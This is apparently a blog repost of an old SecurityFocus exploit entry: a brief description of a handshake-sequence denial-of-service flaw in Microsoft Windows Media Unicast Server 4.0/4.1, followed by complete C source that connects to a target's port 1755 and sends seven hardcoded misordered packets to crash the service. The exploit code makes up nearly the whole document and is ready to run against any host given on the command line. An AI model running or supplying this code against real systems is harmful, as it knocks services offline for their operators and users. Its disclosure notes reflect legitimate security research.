Microsoft Windows Media Services 4.0/4.1 - Handshake Sequence Denial of Service Secer's Blog

source: http://www.securityfocus.com/bid/1000/info

Misordered handshake sequences sent to a Windows Media Unicast Server via Windows Media Player will cause the server to crash. Restarting the Unicast Service, including any open sessions during the time of the crash, is required in order to regain normal functionality. This is due to the dependency of the application on successfully completing asychronous handshake requests in a proper sequential order between the client and the server.

/*
 *
 * Jan-18-2000
 *
 * [ http://www.rootshell.com/ ]
 *
 * Microsoft Media Server 4.1 - Denial of Service Attack
 *
 * This code will crash the Microsoft Media Unicast Server for
 * Windows NT.  We have tested this against machines running SP4
 * and SP6.
 *
 * We have seen the entire machine become very unstable following
 * the crash of the unicast server.
 *
 * Notified [email protected] Jan-18-2000 at 11:30 AM.
 * Microsoft advisory released Feb-23-2000.
 *
 * http://www.microsoft.com/technet/security/bulletin/fq00-013.asp
 *
 */

#include <stdio.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <string.h>
#include <unistd.h>

char packet1[] = {
0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0xa0, 0x00, 0x00, 0x00,
0x4d, 0x4d, 0x53, 0x20, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xf8, 0x53, 0xe3, 0xa5, 0x9b, 0xc4, 0x00, 0x40, 0x12, 0x00, 0x00, 0x00,
0x01, 0x00, 0x03, 0x00, 0xf0, 0xf0, 0xf0, 0xf0, 0x0b, 0x00, 0x04, 0x00,
0x1c, 0x00, 0x03, 0x00, 0x4e, 0x00, 0x53, 0x00, 0x50, 0x00, 0x6c, 0x00,
0x61, 0x00, 0x79, 0x00, 0x65, 0x00, 0x72, 0x00, 0x2f, 0x00, 0x34, 0x00,
0x2e, 0x00, 0x31, 0x00, 0x2e, 0x00, 0x30, 0x00, 0x2e, 0x00, 0x33, 0x00,
0x38, 0x00, 0x35, 0x00, 0x37, 0x00, 0x3b, 0x00, 0x20, 0x00, 0x7b, 0x00,
0x30, 0x00, 0x32, 0x00, 0x64, 0x00, 0x30, 0x00, 0x63, 0x00, 0x32, 0x00,
0x63, 0x00, 0x30, 0x00, 0x2d, 0x00, 0x62, 0x00, 0x35, 0x00, 0x30, 0x00,
0x37, 0x00, 0x2d, 0x00, 0x31, 0x00, 0x31, 0x00, 0x64, 0x00, 0x32, 0x00,
0x2d, 0x00, 0x39, 0x00, 0x61, 0x00, 0x61, 0x00, 0x38, 0x00, 0x2d, 0x00,
0x62, 0x00, 0x37, 0x00, 0x30, 0x00, 0x66, 0x00, 0x33, 0x00, 0x30, 0x00,
0x34, 0x00, 0x34, 0x00, 0x61, 0x00, 0x65, 0x00, 0x37, 0x00, 0x65, 0x00,
0x7d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};

char packet2[] = {
0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0x20, 0x00, 0x00, 0x00,
0x4d, 0x4d, 0x53, 0x20, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x5e, 0xba, 0x49, 0x0c, 0x02, 0x2b, 0x01, 0x40, 0x02, 0x00, 0x00, 0x00,
0x18, 0x00, 0x03, 0x00, 0xf1, 0xf0, 0xf0, 0xf0, 0x0b, 0x00, 0x04, 0x00
};

char packet3[] = {
0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0x60, 0x00, 0x00, 0x00,
0x4d, 0x4d, 0x53, 0x20, 0x0c, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
0x83, 0xc0, 0xca, 0xa1, 0x45, 0xb6, 0x01, 0x40, 0x0a, 0x00, 0x00, 0x00,
0x02, 0x00, 0x03, 0x00, 0xf1, 0xf0, 0xf0, 0xf0, 0xff, 0xff, 0xff, 0xff,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x02, 0x00, 0x00, 0x00,
0x5c, 0x00, 0x5c, 0x00, 0x31, 0x00, 0x39, 0x00, 0x32, 0x00, 0x2e, 0x00,
0x31, 0x00, 0x36, 0x00, 0x38, 0x00, 0x2e, 0x00, 0x30, 0x00, 0x2e, 0x00,
0x32, 0x00, 0x5c, 0x00, 0x54, 0x00, 0x43, 0x00, 0x50, 0x00, 0x5c, 0x00,
0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x00, 0x00, 0x32, 0x00,
0x63, 0x00, 0x30, 0x00
};


char packet4[] = {
0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0x88, 0x00, 0x00, 0x00,
0x4d, 0x4d, 0x53, 0x20, 0x11, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00,
0x2b, 0x87, 0x16, 0xd9, 0xce, 0xf7, 0x01, 0x40, 0x0f, 0x00, 0x00, 0x00,
0x05, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x00, 0x68, 0x00,
0x65, 0x00, 0x20, 0x00, 0x45, 0x00, 0x61, 0x00, 0x67, 0x00, 0x6c, 0x00,
0x65, 0x00, 0x73, 0x00, 0x20, 0x00, 0x54, 0x00, 0x65, 0x00, 0x71, 0x00,
0x75, 0x00, 0x69, 0x00, 0x6c, 0x00, 0x61, 0x00, 0x20, 0x00, 0x53, 0x00,
0x75, 0x00, 0x6e, 0x00, 0x72, 0x00, 0x69, 0x00, 0x73, 0x00, 0x65, 0x00,
0x20, 0x00, 0x32, 0x00, 0x38, 0x00, 0x6b, 0x00, 0x2f, 0x00, 0x65, 0x00,
0x61, 0x00, 0x67, 0x00, 0x6c, 0x00, 0x65, 0x00, 0x73, 0x00, 0x32, 0x00,
0x38, 0x00, 0x2e, 0x00, 0x61, 0x00, 0x73, 0x00, 0x66, 0x00, 0x00, 0x00,
0x62, 0x00, 0x37, 0x00, 0x30, 0x00, 0x66, 0x00
};

char packet5[] = {
0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0x48, 0x00, 0x00, 0x00,
0x4d, 0x4d, 0x53, 0x20, 0x09, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0x67, 0x66, 0x66, 0x66, 0x66, 0x66, 0x02, 0x40, 0x07, 0x00, 0x00, 0x00,
0x15, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff,
0x65, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0xac, 0x40, 0x02, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00
};

char packet6[] = {
0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0x30, 0x00, 0x00, 0x00,
0x4d, 0x4d, 0x53, 0x20, 0x06, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x0a, 0xd7, 0xa3, 0x70, 0x3d, 0x0a, 0x11, 0x40, 0x04, 0x00, 0x00, 0x00,
0x33, 0x00, 0x03, 0x00, 0x02, 0x00, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00,
0x00, 0x00, 0xff, 0xff, 0x02, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff,
0x65, 0x00, 0x20, 0x00
};

char packet7[] = {
0x01, 0x00, 0x00, 0x00, 0xce, 0xfa, 0x0b, 0xb0, 0x38, 0x00, 0x00, 0x00,
0x4d, 0x4d, 0x53, 0x20, 0x07, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
0x2f, 0xdd, 0x24, 0x06, 0x81, 0x15, 0x11, 0x40, 0x05, 0x00, 0x00, 0x00,
0x07, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0x16, 0xca, 0x03, 0x80, 0x04, 0x00, 0x00, 0x00
};

int sock;

int main(int argc, char *argv[]) {
  struct hostent *he;
  struct sockaddr_in sa;
  char buf[1024];
  
  if (argc != 2) {
    fprintf(stderr, "usage: %s <host/ip>\n", argv[0]);
    return(-1);
  }
  
  sock = socket ( AF_INET, SOCK_STREAM, 0);
  sa.sin_family = AF_INET;
  sa.sin_port = htons(1755);
  he = gethostbyname (argv[1]);
  if (!he) {
    if ((sa.sin_addr.s_addr = inet_addr(argv[1])) == INADDR_NONE)
      return(-1);
  } else {
    bcopy(he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length);
  }
  if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0) {
    fprintf(stderr, "Fatal Error: Can't connect to Microsoft Media Server.\n");
    return(-1);
  }
  write(sock, packet1, sizeof(packet1));
  write(sock, packet2, sizeof(packet2));
  write(sock, packet3, sizeof(packet3));
  write(sock, packet4, sizeof(packet4));
  write(sock, packet5, sizeof(packet5));
  write(sock, packet6, sizeof(packet6));
  write(sock, packet7, sizeof(packet7));
  for (;;) {
    read(sock, buf, sizeof(buf));
  }
}
Microsoft Windows Media Services 4.0/4.1 - Handshake Sequence Denial of Service

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